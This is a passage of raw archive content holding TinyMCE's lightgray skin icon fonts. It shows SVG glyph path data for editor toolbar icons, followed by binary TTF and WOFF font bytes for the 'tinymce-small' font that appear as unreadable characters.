32.728s-58.094-11.624-79.196-32.726l-165.492-165.49c-43.668-43.668-43.668-114.724
0-158.392l2.746-2.746 67.882 67.882-2.746 2.746c-6.132 6.132-6.132 16.494 0
22.626l165.492 165.492c4.010 4.008 8.808 4.608 11.312 4.608s7.302-0.598
11.312-4.61l133.49-133.488c6.132-6.134 6.132-16.498
0.002-22.628l-165.494-165.494c-4.008-4.008-8.806-4.608-11.31-4.608s-7.302
0.6-11.312 4.612l-2.746 2.746-67.88-67.884 2.742-2.742c21.106-21.108
49.23-32.728 79.2-32.728s58.094 11.624 79.196 32.726l165.494 165.492c43.662
43.666 43.662 114.72-0.004 158.39zM551.356 359.356l-67.882-67.882
2.746-2.746c4.008-4.008 4.61-8.806 4.61-11.31
0-2.506-0.598-7.302-4.606-11.314l-165.494-165.49c-4.010-4.010-8.81-4.61-11.314-4.61s-7.304
0.6-11.314 4.61l-133.492 133.486c-4.010 4.010-4.61 8.81-4.61 11.314s0.598
7.3 4.61 11.312l165.49 165.488c4.010 4.012 8.81 4.612 11.314
4.612s7.304-0.6 11.314-4.612l2.746-2.742 67.882 67.88-2.746 2.746c-21.104
21.104-49.23 32.726-79.196
32.726s-58.092-11.624-79.196-32.726l-165.488-165.486c-21.106-21.104-32.73-49.234-32.73-79.198s11.624-58.094
32.726-79.198l133.49-133.49c21.106-21.102 49.232-32.726
79.198-32.726s58.092 11.624 79.196 32.726l165.494 165.492c21.104 21.104
32.722 49.23 32.722 79.196s-11.624 58.094-32.726 79.196l-2.744 2.746zM800
122c-9.724 0-19.45 3.708-26.87 11.13l-128 127.998c-14.844 14.84-14.844
38.898 0 53.738 14.84 14.844 38.896 14.844 53.736 0l128-128c14.844-14.84
14.844-38.896 0-53.736-7.416-7.422-17.142-11.13-26.866-11.13zM608 0c-17.674
0-32 14.326-32 32v128c0 17.674 14.326 32 32 32s32-14.326
32-32v-128c0-17.674-14.326-32-32-32zM928 320h-128c-17.674 0-32 14.326-32
32s14.326 32 32 32h128c17.674 0 32-14.326 32-32s-14.326-32-32-32zM224
774c9.724 0 19.45-3.708 26.87-11.13l128-128c14.842-14.84 14.842-38.898
0-53.738-14.84-14.844-38.898-14.844-53.738 0l-128 128c-14.842 14.84-14.842
38.898 0 53.738 7.418 7.422 17.144 11.13 26.868 11.13zM416 896c17.674 0
32-14.326 32-32v-128c0-17.674-14.326-32-32-32s-32 14.326-32 32v128c0 17.674
14.326 32 32 32zM96 576h128c17.674 0 32-14.326
32-32s-14.326-32-32-32h-128c-17.674 0-32 14.326-32 32s14.326 32 32
32z" />
<glyph unicode="&#xe013;" glyph-name="bookmark"
d="M256 896v-896l256 256 256-256v896h-512zM704 170.51l-192
192-192-192v661.49h384v-661.49z" />
<glyph unicode="&#xe014;" glyph-name="image"
d="M896 832h-768c-35.2 0-64-28.8-64-64v-640c0-35.2 28.8-64
64-64h768c35.2 0 64 28.8 64 64v640c0 35.2-28.8 64-64 64zM896
128.116c-0.012-0.014-0.030-0.028-0.042-0.042l-191.958 319.926-160-128-224
288-191.968-479.916c-0.010 0.010-0.022 0.022-0.032 0.032v639.77c0.034 0.040
0.076 0.082 0.114 0.114h767.77c0.040-0.034 0.082-0.076
0.116-0.116v-639.768zM640 608c0-53.019 42.981-96 96-96s96 42.981 96 96c0
53.019-42.981 96-96 96s-96-42.981-96-96z" />
<glyph unicode="&#xe015;" glyph-name="media"
d="M896 832h-768c-35.2 0-64-28.8-64-64v-640c0-35.2 28.8-64
64-64h768c35.2 0 64 28.8 64 64v640c0 35.2-28.8 64-64 64zM256
128h-128v128h128v-128zM256 384h-128v128h128v-128zM256
640h-128v128h128v-128zM704 128h-384v640h384v-640zM896
128h-128v128h128v-128zM896 384h-128v128h128v-128zM896
640h-128v128h128v-128zM384 640v-384l288 192z" />
<glyph unicode="&#xe016;" glyph-name="help"
d="M448 256h128v-128h-128v128zM704 704c35.346 0 64-28.654
64-64v-166l-228-154h-92v64l192 128v64h-320v128h384zM512 896c-119.666
0-232.166-46.6-316.784-131.216-84.614-84.618-131.216-197.118-131.216-316.784
0-119.664 46.602-232.168 131.216-316.784 84.618-84.616 197.118-131.216
316.784-131.216 119.664 0 232.168 46.6 316.784 131.216s131.216 197.12
131.216 316.784c0 119.666-46.6 232.166-131.216 316.784-84.616 84.616-197.12
131.216-316.784 131.216z" />
<glyph unicode="&#xe017;" glyph-name="code"
d="M416 256l-192 192 192 192-64 64-256-256 256-256zM672 704l-64-64
192-192-192-192 64-64 256 256z" />
<glyph unicode="&#xe018;"
glyph-name="insertdatetime" d="M77.798
655.376l81.414-50.882c50.802 81.114 128.788 143.454 221.208 174.246l-30.366
91.094c-113.748-37.898-209.728-114.626-272.256-214.458zM673.946
869.834l-30.366-91.094c92.422-30.792 170.404-93.132 221.208-174.248l81.412
50.882c-62.526 99.834-158.506 176.562-272.254 214.46zM607.974
255.992c-4.808 0-9.692 1.090-14.286 3.386l-145.688 72.844v211.778c0 17.672
14.328 32 32 32s32-14.328 32-32v-172.222l110.31-55.156c15.806-7.902
22.214-27.124 14.31-42.932-5.604-11.214-16.908-17.696-28.646-17.698zM512
768c-212.078 0-384-171.922-384-384s171.922-384 384-384c212.078 0 384
171.922 384 384s-171.922 384-384 384zM512 96c-159.058 0-288 128.942-288
288s128.942 288 288 288c159.058 0 288-128.942
288-288s-128.942-288-288-288z" />
<glyph unicode="&#xe019;" glyph-name="preview"
d="M64 504.254c45.318 49.92 97.162 92.36 153.272 125.124 90.332 52.744
192.246 80.622 294.728 80.622 102.48 0 204.396-27.878 294.726-80.624
56.112-32.764 107.956-75.204 153.274-125.124v117.432c-33.010 28.118-68.124
53.14-104.868 74.594-105.006 61.314-223.658 93.722-343.132
93.722s-238.128-32.408-343.134-93.72c-36.742-21.454-71.856-46.478-104.866-74.596v-117.43zM512
640c-183.196 0-345.838-100.556-448-256 102.162-155.448 264.804-256
448-256s345.838 100.552 448 256c-102.162 155.444-264.804 256-448 256zM512
448c0-35.346-28.654-64-64-64s-64 28.654-64 64c0 35.348 28.654 64 64
64s64-28.652 64-64zM728.066
263.338c-67.434-39.374-140.128-59.338-216.066-59.338s-148.632
19.964-216.066 59.338c-51.554 30.104-98.616 71.31-138.114 120.662 39.498
49.35 86.56 90.558 138.116 120.66 13.276 7.752 26.758 14.74 40.426
20.982-10.512-23.742-16.362-50.008-16.362-77.642 0-106.040 85.962-192
192-192 106.040 0 192 85.96 192 192 0 27.634-5.85 53.9-16.36 77.642
13.668-6.244 27.15-13.23 40.426-20.982 51.554-30.102 98.616-71.31
138.116-120.66-39.498-49.352-86.56-90.558-138.116-120.662z" />
<glyph unicode="&#xe01a;" glyph-name="forecolor"
d="M651.168 676.166c-24.612 81.962-28.876 91.834-107.168
91.834h-64c-79.618 0-82.664-10.152-108.418-96 0-0.002
0-0.002-0.002-0.004l-143.998-479.996h113.636l57.6
192h226.366l57.6-192h113.63l-145.246 484.166zM437.218 512l38.4 136c10.086
33.618 36.38 30 36.38 30s26.294 3.618
36.38-30h0.004l38.4-136h-149.564z" />
<glyph unicode="&#xe01b;" glyph-name="table"
d="M64 768v-704h896v704h-896zM384 320v128h256v-128h-256zM640
256v-128h-256v128h256zM640 640v-128h-256v128h256zM320
640v-128h-192v128h192zM128 448h192v-128h-192v128zM704
448h192v-128h-192v128zM704 512v128h192v-128h-192zM128
256h192v-128h-192v128zM704 128v128h192v-128h-192z" />
<glyph unicode="&#xe01c;" glyph-name="hr"
d="M64 512h896v-128h-896z" />
<glyph unicode="&#xe01d;"
glyph-name="removeformat" d="M64 192h512v-128h-512v128zM768
768h-220.558l-183.766-512h-132.288l183.762
512h-223.15v128h576v-128zM929.774 64l-129.774
129.774-129.774-129.774-62.226 62.226 129.774 129.774-129.774 129.774
62.226 62.226 129.774-129.774 129.774 129.774 62.226-62.226-129.774-129.774
129.774-129.774-62.226-62.226z" />
<glyph unicode="&#xe01e;" glyph-name="subscript"
d="M768 50v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM676
704h-136l-188-188-188 188h-136l256-256-256-256h136l188 188 188-188h136l-256
256z" />
<glyph unicode="&#xe01f;"
glyph-name="superscript" d="M768
754v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM676
704h-136l-188-188-188 188h-136l256-256-256-256h136l188 188 188-188h136l-256
256z" />
<glyph unicode="&#xe020;" glyph-name="charmap"
d="M704 128v37.004c151.348 61.628 256 193.82 256 346.996 0
212.078-200.576 384-448 384s-448-171.922-448-384c0-153.176 104.654-285.368
256-346.996v-37.004h-192l-64 96v-224h320v222.812c-100.9 51.362-170.666
161.54-170.666 289.188 0 176.732 133.718 320 298.666 320s298.666-143.268
298.666-320c0-127.648-69.766-237.826-170.666-289.188v-222.812h320v224l-64-96h-192z"
/>
<glyph unicode="&#xe021;" glyph-name="emoticons"
d="M512 820c99.366 0 192.782-38.694 263.042-108.956s108.958-163.678
108.958-263.044-38.696-192.782-108.958-263.042-163.676-108.958-263.042-108.958-192.782
38.696-263.044 108.958-108.956 163.676-108.956 263.042 38.694 192.782
108.956 263.044 163.678 108.956 263.044 108.956zM512 896c-247.424
0-448-200.576-448-448s200.576-448 448-448 448 200.576 448 448-200.576
448-448 448v0zM320 576c0-35.346 28.654-64 64-64s64 28.654 64 64c0
35.346-28.654 64-64 64s-64-28.654-64-64zM576 576c0-35.346 28.654-64
64-64s64 28.654 64 64c0 35.346-28.654 64-64 64s-64-28.654-64-64zM512
304c-101.84 0-192.56 36.874-251.166 94.328 23.126-117.608 126.778-206.328
251.166-206.328s228.040 88.72 251.168
206.328c-58.608-57.454-149.328-94.328-251.168-94.328z" />
<glyph unicode="&#xe022;" glyph-name="print"
d="M256 832h512v-128h-512v128zM896 640h-768c-35.2
0-64-28.8-64-64v-256c0-35.2 28.796-64 64-64h128v-192h512v192h128c35.2 0 64
28.8 64 64v256c0 35.2-28.8 64-64 64zM704 128h-384v256h384v-256zM910.4
544c0-25.626-20.774-46.4-46.398-46.4s-46.402 20.774-46.402 46.4 20.778 46.4
46.402 46.4c25.626 0 46.398-20.774 46.398-46.4z" />
<glyph unicode="&#xe023;"
glyph-name="fullscreen" d="M480 576l-192 192 128
128h-352v-352l128 128 192-192zM640 480l192 192
128-128v352h-352l128-128-192-192zM544
320l192-192-128-128h352v352l-128-128-192 192zM384 416l-192-192-128
128v-352h352l-128 128 192 192z" />
<glyph unicode="&#xe024;"
glyph-name="spellcheck" d="M960 832v64h-192c-35.202
0-64-28.8-64-64v-320c0-15.856 5.858-30.402
15.496-41.614l-303.496-260.386-142 148-82-70 224-288 416
448h128v64h-192v320h192zM256 448h64v384c0 35.2-28.8 64-64 64h-128c-35.2
0-64-28.8-64-64v-384h64v192h128v-192zM128 704v128h128v-128h-128zM640
512v96c0 35.2-8.8 64-44 64 35.2 0 44 28.8 44 64v96c0 35.2-28.8 64-64
64h-192v-448h192c35.2 0 64 28.8 64 64zM448 832h128v-128h-128v128zM448
640h128v-128h-128v128z" />
<glyph unicode="&#xe025;"
glyph-name="nonbreaking" d="M448
448h-128v128h128v128h128v-128h128v-128h-128v-128h-128v128zM960
384v-320h-896v320h128v-192h640v192h128z" />
<glyph unicode="&#xe026;" glyph-name="template"
d="M512 576h128v-64h-128zM512 192h128v-64h-128zM576
384h128v-64h-128zM768 384v-192h-64v-64h128v256zM384 384h128v-64h-128zM320
192h128v-64h-128zM320 576h128v-64h-128zM192 768v-256h64v192h64v64zM704
512h128v256h-64v-192h-64zM64 896v-896h896v896h-896zM896
64h-768v768h768v-768zM192 384v-256h64v192h64v64zM576 768h128v-64h-128zM384
768h128v-64h-128z" />
<glyph unicode="&#xe027;" glyph-name="pagebreak"
d="M816 896l16-384h-640l16 384h32l16-320h512l16 320h32zM208 0l-16
320h640l-16-320h-32l-16 256h-512l-16-256h-32zM64 448h128v-64h-128zM256
448h128v-64h-128zM448 448h128v-64h-128zM640 448h128v-64h-128zM832
448h128v-64h-128z" />
<glyph unicode="&#xe028;"
glyph-name="restoredraft" d="M576 896c247.424 0 448-200.576
448-448s-200.576-448-448-448v96c94.024 0 182.418 36.614 248.902
103.098s103.098 154.878 103.098 248.902c0 94.022-36.614 182.418-103.098
248.902s-154.878 103.098-248.902 103.098c-94.022
0-182.418-36.614-248.902-103.098-51.14-51.138-84.582-115.246-97.306-184.902h186.208l-224-256-224
256h164.57c31.060 217.102 217.738 384 443.43 384zM768
512v-128h-256v320h128v-192z" />
<glyph unicode="&#xe02a;" glyph-name="bold"
d="M625.442 465.818c48.074 38.15 78.558 94.856 78.558 158.182 0
114.876-100.29 208-224 208h-224v-768h288c123.712 0 224 93.124 224 208 0
88.196-59.118 163.562-142.558 193.818zM384 656c0 26.51 21.49 48 48
48h67.204c42.414 0 76.796-42.98
76.796-96s-34.382-96-76.796-96h-115.204v144zM547.2 192h-115.2c-26.51 0-48
21.49-48 48v144h163.2c42.418 0 76.8-42.98 76.8-96s-34.382-96-76.8-96z"
/>
<glyph unicode="&#xe02b;" glyph-name="italic"
d="M832 832v-64h-144l-256-640h144v-64h-448v64h144l256
640h-144v64h448z" />
<glyph unicode="&#xe02c;" glyph-name="underline"
d="M192 128h576v-64h-576v64zM640
832v-384c0-31.312-14.7-61.624-41.39-85.352-30.942-27.502-73.068-42.648-118.61-42.648-45.544
0-87.668 15.146-118.608 42.648-26.692 23.728-41.392 54.040-41.392
85.352v384h-128v-384c0-141.382 128.942-256 288-256s288 114.618 288
256v384h-128z" />
<glyph unicode="&#xe02d;"
glyph-name="strikethrough" d="M960 448h-265.876c-50.078
35.42-114.43 54.86-182.124 54.86-89.206 0-164.572 50.242-164.572
109.712s75.366 109.714 164.572 109.714c75.058 0 140.308-35.576
159.12-82.286h113.016c-7.93 50.644-37.58 97.968-84.058 132.826-50.88
38.16-117.676 59.174-188.078 59.174-70.404
0-137.196-21.014-188.074-59.174-54.788-41.090-86.212-99.502-86.212-160.254s31.424-119.164
86.212-160.254c1.956-1.466 3.942-2.898
5.946-4.316h-265.872v-64h512.532c58.208-17.106 100.042-56.27
100.042-100.572 0-59.468-75.368-109.71-164.572-109.71-75.060 0-140.308
35.574-159.118 82.286h-113.016c7.93-50.64 37.582-97.968 84.060-132.826
50.876-38.164 117.668-59.18 188.072-59.18 70.402 0 137.198 21.016 188.074
59.174 54.79 41.090 86.208 99.502 86.208 160.254 0 35.298-10.654
69.792-30.294 100.572h204.012v64z" />
<glyph unicode="&#xe02e;"
glyph-name="visualchars" d="M384 832c-123.712
0-224-100.288-224-224s100.288-224
224-224v-320h128v640h64v-640h128v640h128v128h-448z" />
<glyph unicode="&#xe02f;" glyph-name="ltr"
d="M448 832c-123.712 0-224-100.288-224-224s100.288-224
224-224v-320h128v640h64v-640h128v640h128v128h-448zM64 64l224 192-224
192z" />
<glyph unicode="&#xe030;" glyph-name="rtl"
d="M320 832c-123.712 0-224-100.288-224-224s100.288-224
224-224v-320h128v640h64v-640h128v640h128v128h-448zM960 448l-224-192
224-192z" />
<glyph unicode="&#xe031;" glyph-name="copy"
d="M832 640h-192v64l-192 192h-384v-704h384v-192h576v448l-192 192zM832
549.49l101.49-101.49h-101.49v101.49zM448
805.49l101.49-101.49h-101.49v101.49zM128
832h256v-192h192v-384h-448v576zM960
64h-448v128h128v384h128v-192h192v-320z" />
<glyph unicode="&#xe032;" glyph-name="resize"
d="M768 704h64v-64h-64zM640 576h64v-64h-64zM640 448h64v-64h-64zM640
320h64v-64h-64zM512 448h64v-64h-64zM512 320h64v-64h-64zM384
320h64v-64h-64zM768 576h64v-64h-64zM768 448h64v-64h-64zM768
320h64v-64h-64zM768 192h64v-64h-64zM640 192h64v-64h-64zM512
192h64v-64h-64zM384 192h64v-64h-64zM256 192h64v-64h-64z" />
<glyph unicode="&#xe034;" glyph-name="browse"
d="M928 832h-416l-32 64h-352l-64-128h896zM840.34 256h87.66l32
448h-896l64-640h356.080c-104.882 37.776-180.080 138.266-180.080 256 0
149.982 122.018 272 272 272 149.98 0 272-122.018 272-272
0-21.678-2.622-43.15-7.66-64zM874.996 110.25l-134.496 110.692c17.454 28.922
27.5 62.814 27.5 99.058 0 106.040-85.96 192-192 192s-192-85.96-192-192
85.96-192 192-192c36.244 0 70.138 10.046 99.058
27.5l110.692-134.496c22.962-26.678 62.118-28.14 87.006-3.252l5.492
5.492c24.888 24.888 23.426 64.044-3.252 87.006zM576 196c-68.484 0-124
55.516-124 124s55.516 124 124 124 124-55.516
124-124-55.516-124-124-124z" />
<glyph unicode="&#xe035;" glyph-name="pastetext"
d="M704 576v160c0 17.6-14.4 32-32 32h-160v64c0 35.2-28.8 64-64
64h-128c-35.204 0-64-28.8-64-64v-64h-160c-17.602
0-32-14.4-32-32v-512c0-17.6 14.398-32 32-32h224v-192h576v576h-192zM320
831.886c0.034 0.038 0.072 0.078 0.114 0.114h127.768c0.042-0.036 0.082-0.076
0.118-0.114v-63.886h-128v63.886zM192 640v64h384v-64h-384zM832
64h-448v448h448v-448zM448 448v-128h32l32
64h64v-192h-48v-64h160v64h-48v192h64l32-64h32v128z" />
<glyph unicode="&#xe603;"
glyph-name="codesample" d="M200.015 577.994v103.994c0 43.077
34.919 77.997 77.997 77.997h26v103.994h-26c-100.51
0-181.991-81.481-181.991-181.991v-103.994c0-43.077-34.919-77.997-77.997-77.997h-26v-103.994h26c43.077
0 77.997-34.919 77.997-77.997v-103.994c0-100.509 81.481-181.991
181.991-181.991h26v103.994h-26c-43.077 0-77.997 34.919-77.997
77.997v103.994c0 50.927-20.928 96.961-54.642 129.994 33.714 33.032 54.642
79.065 54.642 129.994zM823.985 577.994v103.994c0 43.077-34.919
77.997-77.997 77.997h-26v103.994h26c100.509 0 181.991-81.481
181.991-181.991v-103.994c0-43.077 34.919-77.997
77.997-77.997h26v-103.994h-26c-43.077
0-77.997-34.919-77.997-77.997v-103.994c0-100.509-81.482-181.991-181.991-181.991h-26v103.994h26c43.077
0 77.997 34.919 77.997 77.997v103.994c0 50.927 20.928 96.961 54.642
129.994-33.714 33.032-54.642 79.065-54.642 129.994zM615.997
603.277c0-57.435-46.56-103.994-103.994-103.994s-103.994 46.56-103.994
103.994c0 57.435 46.56 103.994 103.994 103.994s103.994-46.56
103.994-103.994zM512 448.717c-57.435 0-103.994-46.56-103.994-103.994
0-55.841 26-100.107
105.747-103.875-23.715-33.413-59.437-46.608-105.747-50.94v-61.747c0 0
207.991-18.144 207.991 216.561-0.202 57.437-46.56 103.996-103.994
103.996z" />
</font></defs></svg>PKV��[|�M
X$X$/tinymce/skins/lightgray/fonts/tinymce-small.ttfnu�[����0OS/2$�`cmapƭ��lgasp�glyf	G��headg�{
�6hhea�� �$hmtx�� ��loca�$�Z!�tmaxpI�"H
name�L܁"h�post$8
��������3	@����@�@
P �(�2�5�����
��*�4�������  
5��797979@��7%'!"3!2653#5!81!813#4&#!"#33!26=��!//!�!/��@@�����@&��&@@&@&�PP�/!�
!//!������&&���&&������.'.#!"3!2654&'#5!8181!!81S�A�`&&�&.
�
����͆&�&& A-
�
��������095'.'7'./#'737>77'>?%#'573�hq�+�+�qh��hq�+�+�qh���������p�+�qh��hq�+�+�qh��hq�+������@@�!!!!!!!!@������@��@�����@���@@�!!!!!!!!@������������@���@@�!!!!!!!!@������@@��@�����@���@@�!!!!!!!!@���������������@����)w`*@Mc.'70>&'	1&67>'776&'#"&'&67>327"&54632##"&'.'&67>32`"V)?�$0����0$�?)V"9
//�8#
??
#8�//
9�))	�%%%%3)	)"#
?�,H\0��@0\H,�?
#8�//
9"V)??)V"9
//�8Y$C
�%%%%�$
C@��',0754&+54&+"#";!7#81381#55!!537#!!�
�&�&�

������������ee����@�
@&&@
�
���@@�@@��ee����@��*9HW#35!3!35!3#";2653;2654&##"&546;2##"&546;2##"&546;2#x8@��@�@��@8**�*�*�**����@

@

<��@@@�@@�*�P**8��**�*�



�



��



�@�@%2!!!!!!32654&#"32654&#"32654&#"�@��@��@���%%%%%%%%%%%%@������%%%%��%%%%��%%%%���%!!!!!!5##3#33#3#3#5�@��@��@��@@�@@��������@�����n�@@�@2<�@@@@@2@@�!!!!!!!!@���@@��@������������@�����@@�!!!!!!!!@���@��@�����������@�����@��?2#".5'4>3">3!2#".5'4>3">3(F44F('F4<h�O7d&
(F44F('F4<h�O7d&

7J*+J7  7J+T�o@t,*	 7J*+J7 
7J+T�o@t,*	p��%>.	6�$"����P��?OlK��S�PP�y�x@��5	5&.>@P����"$lO?̰������S��Kx��y@��0m'.#"7'&4?>32#"&/326?64'#"&/.546?>327'.#"326?>54&/"&'&4762#��))�!!D���D))�!!��D���D))��))��@
��څ�!]!D
��
�D�!]!��D���D�))��))m
@
��@��0m�����'.#"7'&4?>32#"&/326?64'#"&/.546?>327'.#"326?>54&/"&/&4762#"&=4632##"&546;2#2"/&47>372#"&=46332+"&5463��))�!!D���D))�!!��D���D))��))���
��



@�

�

�@�
��



���

�

څ�!]!D
��
�D�!]!��D���D�))��))��
� z
�

�
@



�� �
z
�

�
��



�	!'!�����������+����k@@�@$1!"3!2654&#818181!8132654&#"��&&&&����8((88((8@&��&&�&�@@�
�
����(88((88(	@@�@$).36!"3!2654&##53#53#53!!3#53#53#53!%��&&&&��������������������
@&��&&�&�@�������������������@��:3#52#575!5!'"32>7>54.'.#���%�\�����-VQI
 0""0  IQV--VQI  0""0 
IQV-���%��@�@��"0  IQV--VQI  0""0 
IQV--VQI 
0"`���'7'	���@�@@��@��@��@��@N�f
)>S>7'%7.'"&/54632#"32>54.#".54>32#NQ&rE+NE;TEr&Q;EN+B�

n		`P�i<<i�PP�i<<i�P<iN--Ni<<iN--Ni<�3=[[+6B&�[[=3&B6+��I�

�7		<i�PP�i<<i�PP�i<�`-Ni<<iN--Ni<<iN-@��3@e>7>325.'.#"%"32>7.##"&54632#"&'.'>7>732654&'@"M*D�MM�D*M"4'TVY--YVT'4�E�sb&&bs�EE�sb&&bs�E%%%%�3l99l3'FF'

pPPp

'FF'�&?())(?&v%##%v�$C_::_C$$C_::_C$�%%%%�=%%='PppP'=%%=��.+"8137337>101#�;@<�q:�:q��''��>
@� ��䤈�
@@�	"',1!!5!!!5!!5!!#533#5!3#5=3#3#553#@���@����������@��������@���@��@��@������������@��������@��!!@����@@��
7!!5###5!''7'77@��ݷ���@���>��>��>��>���@����@��>��>��>��>����%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n������@��4%5>54.#"#'!5.54>32!5#�9^D%Fz�]]�zF%D^9�@@&?-/Qm>>mQ/-?&@@��%GZj9P�i<<i�P9jZG%`��;KX0BuW22WuB0XK;��`@��.;HY2#"&'.5467>35"32>54.#132654&#"!32654&#""&'32>7#K�558855�KK�558855�K]�zFFz�]]�zFFz�]�%%%%%%%%@L�,	-CS//SC-	,�L4855�KK�558855�KK�558LFz�]]�zFFz�]]�zF��%%%%%%%%��3+,K88K,+3@@�@+!!5!";!532654&#!!#"&54632���&&��&&�����@���&�&��&&���@��
'7!7!7!!'!'!'7�������������`�����`��@��������`�����`��������@��"'9>C5#"'35#334&+"35353#54&#26=4&+32653#53#5��&�юR������@@&�&@����&��&�����@@&��	���F���@@���&&�������`&&`&�@&@�����@@��#53533##5!3!53�������������������@��@��@��#).39=A3#3#3#7#3!3#3#3#35353##!!!!35353#'3#����@���@��@��@�����@@��@@�����@��@@@�����@@��@@@�@@�@�@��@��@������@��@�@@@@��!%!3!3!#!#3#73#73#73#73#0��
 ��� �
���������������������@��@����@@@@@@@@@���&,2#5267>54&'.#"33>3!3@]�zFFz�]G�225522�GG�2&2	���Nv�U����Fz�]]�zF`522�GG�22552&_4�Q�g;���@�@@
->54.+!2>54&''46;2+5#"&=32#q$+#=R.�
.R=#P?�C -- s�s� --
�S/+L8!�!8L+Bi�8((8��0�8((8�@@@#3!53#5!@����@���@@��@@�@�@@!7!!5#"&'.5#32>5#�@���=""=�-Ni<<iN-��@@���--���5]F((F]5�@@�@>!.#"&546323.'.#"!!#"&'#3267>54&'35���%^3CbbC8Yq+#&a55a&)--)��+9bC8Yq+#&a55a&)-��A-,A/#&ET-.T@
6",A/#&ET-3@�@@@"333335!�.R=##=R.�@���@@#=R..R=#�������@@�@"333335!7'�.R=##=R.�@���@����@#=R..R=#����������`@�@"333335!@.R=##=R.�@���@���@#=R..R=#�����������@�
"#5'!!!'#5#5%!3!!5333@�����@�ee��ee����@@�@����@��@���[eeee���@�������@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@@��6C!'!!3!!.54>32'>54&#"3267?6&'%"&54632#��`
��@�xX
��@d'B0+Jc88cJ+#�
pPPppP2o3��3II33II3@@�����3BQ,8cJ++Jc8
�o2PppPPp
�3VI33II33I@��&+0@54&+54&+"#";!#81381#55!!!!373#35#5335�
�&�&�

�@�����������@���
 @0�0@ 
@�
@&&@
�
�@@@�@@����@��@�@@�@���
`%KXk546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"0>54&#�.
Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5#ANA=+Bh
.hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh.
h&CC&+==++==+�=+*;>%ZX+=�C�_<��0=��0=���������9@�@@@@�@@��@@@p@@@@@@`N@�@@@@@@@@@@@����@�@`@@@��
l�0Rt�0~�@x��"Bb
B`��Nn�z��		6	`	�	�
P
�
�,P��B���
0
R
|
�
�:���9��
�
H
�'
o
�	
	�	U	�	2	|	
4�tinymce-smalltinymce-smallVersion 1.0Version
1.0tinymce-smalltinymce-smalltinymce-smalltinymce-smallRegularRegulartinymce-smalltinymce-smallFont
generated by IcoMoon.Font generated by
IcoMoon.PKV��[Y٫��$�$0tinymce/skins/lightgray/fonts/tinymce-small.woffnu�[���wOFF$�$XOS/2``$cmaphllƭ��gasp�glyf�	G�head
�66g�{hhea!$$��hmtx!<����loca"
tt�$�Zmaxp"�  I�name"���L܁post$� 
��������3	@����@�@
P �(�2�5�����
��*�4�������  
5��797979@��7%'!"3!2653#5!81!813#4&#!"#33!26=��!//!�!/��@@�����@&��&@@&@&�PP�/!�
!//!������&&���&&������.'.#!"3!2654&'#5!8181!!81S�A�`&&�&.
�
����͆&�&& A-
�
��������095'.'7'./#'737>77'>?%#'573�hq�+�+�qh��hq�+�+�qh���������p�+�qh��hq�+�+�qh��hq�+������@@�!!!!!!!!@������@��@�����@���@@�!!!!!!!!@������������@���@@�!!!!!!!!@������@@��@�����@���@@�!!!!!!!!@���������������@����)w`*@Mc.'70>&'	1&67>'776&'#"&'&67>327"&54632##"&'.'&67>32`"V)?�$0����0$�?)V"9
//�8#
??
#8�//
9�))	�%%%%3)	)"#
?�,H\0��@0\H,�?
#8�//
9"V)??)V"9
//�8Y$C
�%%%%�$
C@��',0754&+54&+"#";!7#81381#55!!537#!!�
�&�&�

������������ee����@�
@&&@
�
���@@�@@��ee����@��*9HW#35!3!35!3#";2653;2654&##"&546;2##"&546;2##"&546;2#x8@��@�@��@8**�*�*�**����@

@

<��@@@�@@�*�P**8��**�*�



�



��



�@�@%2!!!!!!32654&#"32654&#"32654&#"�@��@��@���%%%%%%%%%%%%@������%%%%��%%%%��%%%%���%!!!!!!5##3#33#3#3#5�@��@��@��@@�@@��������@�����n�@@�@2<�@@@@@2@@�!!!!!!!!@���@@��@������������@�����@@�!!!!!!!!@���@��@�����������@�����@��?2#".5'4>3">3!2#".5'4>3">3(F44F('F4<h�O7d&
(F44F('F4<h�O7d&

7J*+J7  7J+T�o@t,*	 7J*+J7 
7J+T�o@t,*	p��%>.	6�$"����P��?OlK��S�PP�y�x@��5	5&.>@P����"$lO?̰������S��Kx��y@��0m'.#"7'&4?>32#"&/326?64'#"&/.546?>327'.#"326?>54&/"&'&4762#��))�!!D���D))�!!��D���D))��))��@
��څ�!]!D
��
�D�!]!��D���D�))��))m
@
��@��0m�����'.#"7'&4?>32#"&/326?64'#"&/.546?>327'.#"326?>54&/"&/&4762#"&=4632##"&546;2#2"/&47>372#"&=46332+"&5463��))�!!D���D))�!!��D���D))��))���
��



@�

�

�@�
��



���

�

څ�!]!D
��
�D�!]!��D���D�))��))��
� z
�

�
@



�� �
z
�

�
��



�	!'!�����������+����k@@�@$1!"3!2654&#818181!8132654&#"��&&&&����8((88((8@&��&&�&�@@�
�
����(88((88(	@@�@$).36!"3!2654&##53#53#53!!3#53#53#53!%��&&&&��������������������
@&��&&�&�@�������������������@��:3#52#575!5!'"32>7>54.'.#���%�\�����-VQI
 0""0  IQV--VQI  0""0 
IQV-���%��@�@��"0  IQV--VQI  0""0 
IQV--VQI 
0"`���'7'	���@�@@��@��@��@��@N�f
)>S>7'%7.'"&/54632#"32>54.#".54>32#NQ&rE+NE;TEr&Q;EN+B�

n		`P�i<<i�PP�i<<i�P<iN--Ni<<iN--Ni<�3=[[+6B&�[[=3&B6+��I�

�7		<i�PP�i<<i�PP�i<�`-Ni<<iN--Ni<<iN-@��3@e>7>325.'.#"%"32>7.##"&54632#"&'.'>7>732654&'@"M*D�MM�D*M"4'TVY--YVT'4�E�sb&&bs�EE�sb&&bs�E%%%%�3l99l3'FF'

pPPp

'FF'�&?())(?&v%##%v�$C_::_C$$C_::_C$�%%%%�=%%='PppP'=%%=��.+"8137337>101#�;@<�q:�:q��''��>
@� ��䤈�
@@�	"',1!!5!!!5!!5!!#533#5!3#5=3#3#553#@���@����������@��������@���@��@��@������������@��������@��!!@����@@��
